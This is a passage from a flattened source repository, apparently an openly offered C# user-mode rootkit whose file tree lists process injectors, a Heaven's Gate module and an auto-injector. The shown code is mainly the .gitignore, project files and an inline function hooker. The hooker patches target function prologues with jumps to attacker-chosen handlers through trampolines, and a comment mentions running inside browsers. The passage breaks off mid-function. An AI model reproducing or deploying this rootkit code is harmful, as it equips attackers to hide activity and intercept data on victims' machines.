├── .gitignore ├── 32bit inject c# run.asm ├── 64bit inject c# run.asm ├── CSharpRookit.sln └── CSharpRootkit ├── App.config ├── CSharpRootkit.csproj ├── CSharpRootkit.csproj.user ├── FunctionHooker ├── NativeFunctionHooker.cs └── RootKit.cs ├── HeavensGate └── HeavensGate.cs ├── IPC ├── RootKitClientInterface.cs └── RootKitInterface.cs ├── Injector └── SharpInjector.cs ├── NativeMethods ├── DbgInterface.cs ├── NativeMethods.cs └── SpecialNativeMethods.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── Structs ├── InternalStructs.cs ├── InternalStructs32.cs ├── InternalStructs64.cs ├── RootKitIPCStructs.cs └── RootKitInternalStructs.cs └── Utils ├── AutoInjector.cs ├── Utils.cs ├── Utils32.cs └── Utils64.cs /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from httpsgithub.comgithubgitignoreblobmainVisualStudio.gitignore 5 | 6 | # User-specific files 7 | .rsuser 8 | .suo 9 | .user 10 | .userosscache 11 | .sln.docstates 12 | 13 | # User-specific files (MonoDevelopXamarin Studio) 14 | .userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash. 18 | 19 | # Build results 20 | [Dd]ebug 21 | [Dd]ebugPublic 22 | [Rr]elease 23 | [Rr]eleases 24 | x64 25 | x86 26 | [Ww][Ii][Nn]32 27 | [Aa][Rr][Mm] 28 | [Aa][Rr][Mm]64 29 | bld 30 | [Bb]in 31 | [Oo]bj 32 | [Ll]og 33 | [Ll]ogs 34 | 35 | # Visual Studio 20152017 cacheoptions directory 36 | .vs 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated Files 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult 45 | [Bb]uild[Ll]og. 46 | 47 | # NUnit 48 | .VisualState.xml 49 | TestResult.xml 50 | nunit-.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS 54 | [Rr]eleasePS 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | _i.c 73 | _p.c 74 | _h.h 75 | .ilk 76 | .meta 77 | .obj 78 | .iobj 79 | .pch 80 | .pdb 81 | .ipdb 82 | .pgc 83 | .pgd 84 | .rsp 85 | .sbr 86 | .tlb 87 | .tli 88 | .tlh 89 | .tmp 90 | .tmp_proj 91 | _wpftmp.csproj 92 | .log 93 | .tlog 94 | .vspscc 95 | .vssscc 96 | .builds 97 | .pidb 98 | .svclog 99 | .scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah 103 | 104 | # Visual C++ cache files 105 | ipch 106 | .aps 107 | .ncb 108 | .opendb 109 | .opensdf 110 | .sdf 111 | .cachefile 112 | .VC.db 113 | .VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | .psess 117 | .vsp 118 | .vspx 119 | .sap 120 | 121 | # Visual Studio Trace Files 122 | .e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf 126 | 127 | # Guidance Automation Toolkit 128 | .gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper 132 | .[Rr]e[Ss]harper 133 | .DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity 137 | 138 | # DotCover is a Code Coverage Tool 139 | .dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover 143 | !.axoCoversettings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage.json 147 | coverage.xml 148 | coverage.info 149 | 150 | # Visual Studio code coverage results 151 | .coverage 152 | .coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_ 156 | .crunch.local.xml 157 | nCrunchTemp_ 158 | 159 | # MightyMoose 160 | .mm. 161 | AutoTest.Net 162 | 163 | # Web workbench (sass) 164 | .sass-cache 165 | 166 | # Installshield output folder 167 | [Ee]xpress 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProjectbuildhelp 171 | DocProjectHelp.HxT 172 | DocProjectHelp.HxC 173 | DocProjectHelp.hhc 174 | DocProjectHelp.hhk 175 | DocProjectHelp.hhp 176 | DocProjectHelpHtml2 177 | DocProjectHelphtml 178 | 179 | # Click-Once directory 180 | publish 181 | 182 | # Publish Web Output 183 | .[Pp]ublish.xml 184 | .azurePubxml 185 | # Note Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | .pubxml 188 | .publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts 194 | 195 | # NuGet Packages 196 | .nupkg 197 | # NuGet Symbol Packages 198 | .snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | [Pp]ackages 201 | # except build, which is used as an MSBuild target. 202 | ![Pp]ackagesbuild 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #![Pp]ackagesrepositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | .nuget.props 207 | .nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx 211 | .build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf 215 | rcf 216 | 217 | # Windows Store app package directories and files 218 | AppPackages 219 | BundleArtifacts 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | .appx 223 | .appxbundle 224 | .appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | .[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !.[Cc]ache 231 | 232 | # Others 233 | ClientBin 234 | ~$ 235 | ~ 236 | .dbmdl 237 | .dbproj.schemaview 238 | .jfm 239 | .pfx 240 | .publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (httpsgithub.comgithubgitignorepull2483#issue-259490424) 245 | #.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (httpsgithub.comgithubgitignorepull1529#issuecomment-104372622) 249 | #bower_components 250 | 251 | # RIASilverlight projects 252 | Generated_Code 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files 258 | Backup 259 | UpgradeLog.XML 260 | UpgradeLog.htm 261 | ServiceFabricBackup 262 | .rptproj.bak 263 | 264 | # SQL Server files 265 | .mdf 266 | .ldf 267 | .ndf 268 | 269 | # Business Intelligence projects 270 | .rdl.data 271 | .bim.layout 272 | .bim_.settings 273 | .rptproj.rsuser 274 | - [Bb]ackup.rdl 275 | - [Bb]ackup ([0-9]).rdl 276 | - [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies 280 | 281 | # GhostDoc plugin setting file 282 | .GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules 287 | 288 | # Visual Studio 6 build log 289 | .plg 290 | 291 | # Visual Studio 6 workspace options file 292 | .opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | .vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | .vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | .dsw 302 | .dsp 303 | 304 | # Visual Studio 6 technical files 305 | .ncb 306 | .aps 307 | 308 | # Visual Studio LightSwitch build output 309 | .HTMLClientGeneratedArtifacts 310 | .DesktopClientGeneratedArtifacts 311 | .DesktopClientModelManifest.xml 312 | .ServerGeneratedArtifacts 313 | .ServerModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paketpaket.exe 318 | paket-files 319 | 320 | # FAKE - F# Make 321 | .fake 322 | 323 | # CodeRush personal settings 324 | .crpersonal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__ 328 | .pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools 332 | # !toolspackages.config 333 | 334 | # Tabs Studio 335 | .tss 336 | 337 | # Telerik's JustMock configuration file 338 | .jmconfig 339 | 340 | # BizTalk build output 341 | .btp.cs 342 | .btm.cs 343 | .odx.cs 344 | .xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun 351 | 352 | # MSBuild Binary and Structured Log 353 | .binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | .nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor 360 | 361 | # Local History for Visual Studio 362 | .localhistory 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode 381 | !.vscodesettings.json 382 | !.vscodetasks.json 383 | !.vscodelaunch.json 384 | !.vscodeextensions.json 385 | .code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history 389 | 390 | # Windows Installer files from build outputs 391 | .cab 392 | .msi 393 | .msix 394 | .msm 395 | .msp 396 | 397 | # JetBrains Rider 398 | .sln.iml -------------------------------------------------------------------------------- /CSharpRookit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33328.57 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CSharpRootkit", "CSharpRootkit\CSharpRootkit.csproj", "{685773D1-EBE7-4766-A087-B3CDCA590677}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x64.ActiveCfg = Debug|x64 21 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x64.Build.0 = Debug|x64 22 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x86.ActiveCfg = Debug|x86 23 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x86.Build.0 = Debug|x86 24 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x64.ActiveCfg = Release|x64 27 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x64.Build.0 = Release|x64 28 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x86.ActiveCfg = Release|x86 29 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {18D04515-13AB-46F2-814B-9EE2D1B7A862} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /CSharpRootkit/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CSharpRootkit/CSharpRootkit.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {685773D1-EBE7-4766-A087-B3CDCA590677} 8 | Exe 9 | CSharpRootkit 10 | CSharpRootkit 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | true 58 | 59 | 60 | true 61 | bin\x86\Debug\ 62 | DEBUG;TRACE 63 | full 64 | x86 65 | 7.3 66 | prompt 67 | true 68 | true 69 | 70 | 71 | bin\x86\Release\ 72 | TRACE 73 | true 74 | pdbonly 75 | x86 76 | 7.3 77 | prompt 78 | true 79 | true 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /CSharpRootkit/CSharpRootkit.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /CSharpRootkit/FunctionHooker/NativeFunctionHooker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Windows.Forms; 8 | using static CSharpRootkit.InternalStructs; 9 | 10 | namespace CSharpRootkit 11 | { 12 | public class NativeFunctionHooker 13 | { 14 | private static uint PAGE_EXECUTE_READWRITE = 0x40; 15 | private static ulong allocationGranularity = 0; 16 | private static uint MEM_COMMIT = 0x1000; 17 | private static uint MEM_RESERVE = 0x2000; 18 | private static uint MEM_FREE = 0x10000; 19 | private static uint MEM_RELEASE = 0x8000; 20 | 21 | 22 | private static int X64ByteAbsoluteCodeLength = 13; 23 | private static int X64ByteNewAbsoluteCodeLength = 16; 24 | private static int X64ByteRelativeCodeLength = 5; 25 | private static int X86ByteCodeLength = 5; 26 | 27 | private bool usedRelativeX64Hook = false; 28 | private byte[] RestoreBytes = null; 29 | private IntPtr TargetFunction; 30 | private IntPtr HookFunction; 31 | private IntPtr Trampoline = IntPtr.Zero; 32 | 33 | public NativeFunctionHooker(IntPtr TargetFunction, IntPtr HookFunction) 34 | { 35 | this.TargetFunction = TargetFunction; 36 | this.HookFunction = HookFunction; 37 | } 38 | 39 | private static int GetSmallestInstructionAmount(IntPtr Function, int target, out string AsmForSection, bool IgnorePossibleBreakers = false) 40 | { 41 | int CurrentCount = 0; 42 | AsmForSection = ""; 43 | while (CurrentCount < target) 44 | { 45 | Tuple InstructionData = Utils.GetInstructionSizeAndString((ulong)Function); 46 | int InstructionLength = InstructionData.Item1; 47 | string asmData = InstructionData.Item2.ToLower(); 48 | if (!IgnorePossibleBreakers && (asmData.Contains("jmp") || asmData.Contains("je") || asmData.Contains("jnz") || asmData.Contains("jl") || asmData.Contains("jne"))) 49 | { 50 | throw new Exception("Target length has a good chance of being out of the function!"); 51 | } 52 | Function += InstructionLength; 53 | CurrentCount += InstructionLength; 54 | AsmForSection += asmData; 55 | AsmForSection += "\n"; 56 | } 57 | AsmForSection = AsmForSection.Trim('\n'); 58 | return CurrentCount; 59 | } 60 | 61 | private byte[] GetOptimalJmpByteCodeX64(IntPtr target, string asm) 62 | { 63 | if (!asm.Contains("rax") && !asm.Contains("eax")) 64 | { 65 | return CreateAbsoluteJumpx64(target, true); 66 | } 67 | else if (!asm.Contains("r10")) 68 | { 69 | return CreateAbsoluteJumpx64(target, false, true); 70 | } 71 | else if (!asm.Contains("r11")) 72 | { 73 | return CreateAbsoluteJumpx64(target, false, false, true); 74 | } 75 | throw new Exception("Couldnt get optimal bytecode!"); 76 | } 77 | 78 | private IntPtr InstallHookX86() 79 | { 80 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X86ByteCodeLength, out string asmCode); 81 | if (RestoreBytes == null) 82 | { 83 | RestoreBytes = new byte[InitalInstructionsLength]; 84 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength); 85 | } 86 | 87 | Trampoline = Marshal.AllocHGlobal(InitalInstructionsLength + X86ByteCodeLength); 88 | 89 | byte[] jump_back = CreateJumpx86(TargetFunction + InitalInstructionsLength, Trampoline + InitalInstructionsLength); 90 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length]; 91 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength); 92 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length); 93 | 94 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length); 95 | 96 | byte[] JumpBytes = new byte[InitalInstructionsLength]; 97 | for (int i = 0; i < JumpBytes.Length; i++) 98 | { 99 | JumpBytes[i] = 0x90; //nop 100 | } 101 | byte[] HookBytes = CreateJumpx86(HookFunction, TargetFunction); 102 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length); 103 | 104 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _); 105 | if (!Worked) 106 | { 107 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!"); 108 | } 109 | 110 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect); 111 | if (!Worked) 112 | { 113 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!"); 114 | } 115 | 116 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length); 117 | 118 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _); 119 | 120 | return Trampoline; 121 | } 122 | 123 | private IntPtr InstallAbsoluteHookX64() 124 | { 125 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteAbsoluteCodeLength, out string asmCode); 126 | 127 | if (RestoreBytes == null) 128 | { 129 | RestoreBytes = new byte[InitalInstructionsLength]; 130 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength); 131 | } 132 | 133 | byte[] jump_back = GetOptimalJmpByteCodeX64(TargetFunction + InitalInstructionsLength, asmCode); 134 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length]; 135 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength); 136 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length); 137 | 138 | Trampoline = Marshal.AllocHGlobal(TrampolineBytes.Length); 139 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length); 140 | int InitalInstructionsLength1 = GetSmallestInstructionAmount(Trampoline, TrampolineBytes.Length, out string asmCode1, true); 141 | 142 | byte[] JumpBytes = new byte[InitalInstructionsLength]; 143 | for (int i = 0; i < JumpBytes.Length; i++) 144 | { 145 | JumpBytes[i] = 0x90; //nop 146 | } 147 | byte[] HookBytes = CreateAbsoluteJumpx64(HookFunction, false, true); 148 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length); 149 | 150 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _); 151 | if (!Worked) 152 | { 153 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!"); 154 | } 155 | 156 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect); 157 | if (!Worked) 158 | { 159 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!"); 160 | } 161 | 162 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length); 163 | 164 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _); 165 | 166 | return Trampoline; 167 | 168 | } 169 | 170 | private IntPtr InstallNewAbsoluteHookX64() 171 | { 172 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteNewAbsoluteCodeLength, out string asmCode); 173 | 174 | if (RestoreBytes == null) 175 | { 176 | RestoreBytes = new byte[InitalInstructionsLength]; 177 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength); 178 | } 179 | 180 | byte[] jump_back = CreateAbsoluteJumpx64New(TargetFunction + InitalInstructionsLength);//GetOptimalJmpByteCodeX64(TargetFunction + InitalInstructionsLength, asmCode); 181 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length]; 182 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength); 183 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length); 184 | 185 | Trampoline = Marshal.AllocHGlobal(TrampolineBytes.Length); 186 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length); 187 | int InitalInstructionsLength1 = GetSmallestInstructionAmount(Trampoline, TrampolineBytes.Length, out string asmCode1, true); 188 | 189 | byte[] JumpBytes = new byte[InitalInstructionsLength]; 190 | for (int i = 0; i < JumpBytes.Length; i++) 191 | { 192 | JumpBytes[i] = 0x90; //nop 193 | } 194 | byte[] HookBytes = CreateAbsoluteJumpx64New(HookFunction); 195 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length); 196 | 197 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _); 198 | if (!Worked) 199 | { 200 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!"); 201 | } 202 | 203 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect); 204 | if (!Worked) 205 | { 206 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!"); 207 | } 208 | 209 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length); 210 | 211 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _); 212 | 213 | return Trampoline; 214 | 215 | } 216 | 217 | private IntPtr InstallRelativeHookX64() 218 | { 219 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteAbsoluteCodeLength, out string asmCode); 220 | if (RestoreBytes == null) 221 | { 222 | RestoreBytes = new byte[InitalInstructionsLength]; 223 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength); 224 | } 225 | 226 | Trampoline = SpecialAllocate2GBRange(TargetFunction + InitalInstructionsLength, (uint)(InitalInstructionsLength + X64ByteRelativeCodeLength));//Marshal.AllocHGlobal(InitalInstructionsLength + X64ByteRelativeCodeLength); 227 | 228 | byte[] jump_back = CreateRelativeJumpx64(TargetFunction + InitalInstructionsLength, Trampoline + InitalInstructionsLength); 229 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length]; 230 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength); 231 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length); 232 | 233 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length); 234 | 235 | byte[] JumpBytes = new byte[InitalInstructionsLength]; 236 | for (int i = 0; i < JumpBytes.Length; i++) 237 | { 238 | JumpBytes[i] = 0x90; //nop 239 | } 240 | byte[] HookBytes = CreateAbsoluteJumpx64(HookFunction); 241 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length); 242 | 243 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _); 244 | if (!Worked) 245 | { 246 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!"); 247 | } 248 | 249 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect); 250 | if (!Worked) 251 | { 252 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!"); 253 | } 254 | 255 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length); 256 | 257 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _); 258 | 259 | usedRelativeX64Hook = true; 260 | return Trampoline; 261 | } 262 | 263 | public T InstallHook() 264 | { 265 | if (Environment.Is64BitProcess) 266 | { 267 | return Marshal.GetDelegateForFunctionPointer(InstallAbsoluteHookX64());//the "new" method fucks up browsers for some reason, using my old method fixs it for some reason. 268 | } 269 | else 270 | { 271 | return Marshal.GetDelegateForFunctionPointer(InstallHookX86()); 272 | } 273 | } 274 | 275 | public void RemoveHook() 276 | { 277 | if (RestoreBytes == null) 278 | { 279 | throw new Exception("RestoreBytes is null, did you install the hook?"); 280 | } 281 | 282 | bool Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)RestoreBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect); 283 | 284 | if (!Worked) 285 | { 286 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!"); 287 | } 288 | 289 | Marshal.Copy(RestoreBytes, 0, TargetFunction, RestoreBytes.Length); 290 | 291 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)RestoreBytes.Length, oldProtect, out _); 292 | if (usedRelativeX64Hook) 293 | { 294 | FreeSpeciallyAllocatedData(Trampoline); 295 | usedRelativeX64Hook = false; 296 | } 297 | else 298 | { 299 | Marshal.FreeHGlobal(Trampoline); 300 | } 301 | Trampoline = IntPtr.Zero; 302 | RestoreBytes = null; 303 | } 304 | 305 | private byte[] CreateAbsoluteJumpx64New(IntPtr target) 306 | { 307 | byte[] jmpBytes = new byte[X64ByteNewAbsoluteCodeLength]; 308 | 309 | jmpBytes[0] = 0x50; // push rax 310 | jmpBytes[1] = 0x48; // REX.W prefix 311 | jmpBytes[2] = 0xB8; // mov rax, target 312 | BitConverter.GetBytes(target.ToInt64()).CopyTo(jmpBytes, 3); 313 | jmpBytes[11] = 0x48; // REX.W prefix 314 | jmpBytes[12] = 0x87; // xchg 315 | jmpBytes[13] = 0x04; // ModR/M byte 316 | jmpBytes[14] = 0x24; // SIB byte 317 | jmpBytes[15] = 0xC3; // ret 318 | 319 | return jmpBytes; 320 | } 321 | private byte[] CreateAbsoluteJumpx64(IntPtr target, bool UseRax = true, bool UseR10 = false, bool UseR11 = false) 322 | { 323 | int trueCount = 0; 324 | if (UseRax) trueCount += 1; 325 | if (UseR10) trueCount += 1; 326 | if (UseR11) trueCount += 1; 327 | if (trueCount != 1) 328 | { 329 | throw new Exception("you can only use 1 register!"); 330 | } 331 | byte[] jmpBytes = new byte[X64ByteAbsoluteCodeLength]; 332 | 333 | 334 | 335 | if (UseR10) 336 | { 337 | jmpBytes[0] = 0x49; // REX prefix for R10 338 | jmpBytes[1] = 0xBA; // MOV R10, target 339 | //addr 340 | jmpBytes[10] = 0x41; // REX prefix for R10 341 | jmpBytes[11] = 0xFF; // JMP R10 342 | jmpBytes[12] = 0xE2; 343 | } 344 | else if (UseR11) 345 | { 346 | jmpBytes[0] = 0x49; // REX prefix for R11 347 | jmpBytes[1] = 0xBB; // MOV R11, target 348 | //addr 349 | jmpBytes[10] = 0x41; // REX prefix for R11 350 | jmpBytes[11] = 0xFF; // JMP R11 351 | jmpBytes[12] = 0xE3; 352 | } 353 | else 354 | { 355 | jmpBytes[0] = 0x48; // REX.W prefix for 64-bit operand size 356 | jmpBytes[1] = 0xB8; // MOV RAX, target 357 | //addr 358 | jmpBytes[10] = 0xFF; // JMP RAX 359 | jmpBytes[11] = 0xE0; 360 | jmpBytes[12] = 0x90; // nop 361 | } 362 | 363 | BitConverter.GetBytes(target.ToInt64()).CopyTo(jmpBytes, 2); 364 | 365 | 366 | return jmpBytes; 367 | } 368 | private byte[] CreateRelativeJumpx64(IntPtr target, IntPtr source) 369 | { 370 | long Tempoffset = target.ToInt64() - source.ToInt64() - X64ByteRelativeCodeLength; 371 | if (Math.Abs(Tempoffset) >= 0x80000000) 372 | { 373 | throw new Exception("Distance between the 2 functions are too large, must be below 2^31"); 374 | } 375 | int offset = (int)Tempoffset; 376 | byte[] jmpBytes = new byte[X64ByteRelativeCodeLength]; 377 | jmpBytes[0] = 0xE9; // JMP opcode 378 | BitConverter.GetBytes(offset).CopyTo(jmpBytes, 1); 379 